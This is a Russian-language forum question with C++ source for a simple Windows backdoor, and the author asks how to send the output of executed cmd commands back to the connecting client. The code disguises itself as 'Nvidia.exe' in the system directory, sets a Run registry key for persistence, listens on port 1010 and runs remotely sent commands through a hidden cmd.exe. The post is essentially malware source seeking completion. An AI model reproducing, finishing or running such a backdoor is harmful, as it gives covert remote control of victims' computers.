Такой вопрос по С++
Есть сорец:
Понимаю, что примитивно, но все же. Как мне организовать вывод результатов команд cmd? Т.е. я коннектюсь, передаю команды в виде e "dir", а вывод результатов не доделан.
Есть сорец:
Код:
#include <winsock2.h>
#include <resource.h>
#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078")
#pragma comment(linker,"/ENTRY:WinMain")
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
char str[256],sysbuf[256];
GetModuleFileName(GetModuleHandle(NULL),str,256);
GetSystemDirectory(sysbuf,256);
strcat(sysbuf,"\\Nvidia.exe");//имя зверя
CopyFile(str,sysbuf,true);
HKEY hk;
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
RegSetValueEx(hk,"NvCpl",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1);
RegCloseKey(hk);
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);
SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN addr_Sock;
addr_Sock.sin_family = AF_INET;
addr_Sock.sin_addr.s_addr = htonl(INADDR_ANY);
addr_Sock.sin_port = htons(1010);//порт
if(bind(listet_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return 0;
if(listen(listet_Sock, 1)) return 0;
int i;
char type[2], buf[126];
while(true){
SOCKET hack_Sock = accept(listet_Sock,NULL,NULL);
while(true){
i = recv(hack_Sock, type, 2, 0),recv(hack_Sock, buf, 126, 0);
if ((i== SOCKET_ERROR)||(i == 0)) break;
if (type[0] == 'e')
{
char buf_command[524] = "/c ";
strcat(buf_command,buf);
ShellExecuteA(NULL, "open", "cmd.exe", buf_command, NULL, SW_SPOILER);
}
}
shutdown(hack_Sock,1);
closesocket(hack_Sock);
}
WSACleanup();
return 0;
}
Понимаю, что примитивно, но все же. Как мне организовать вывод результатов команд cmd? Т.е. я коннектюсь, передаю команды в виде e "dir", а вывод результатов не доделан.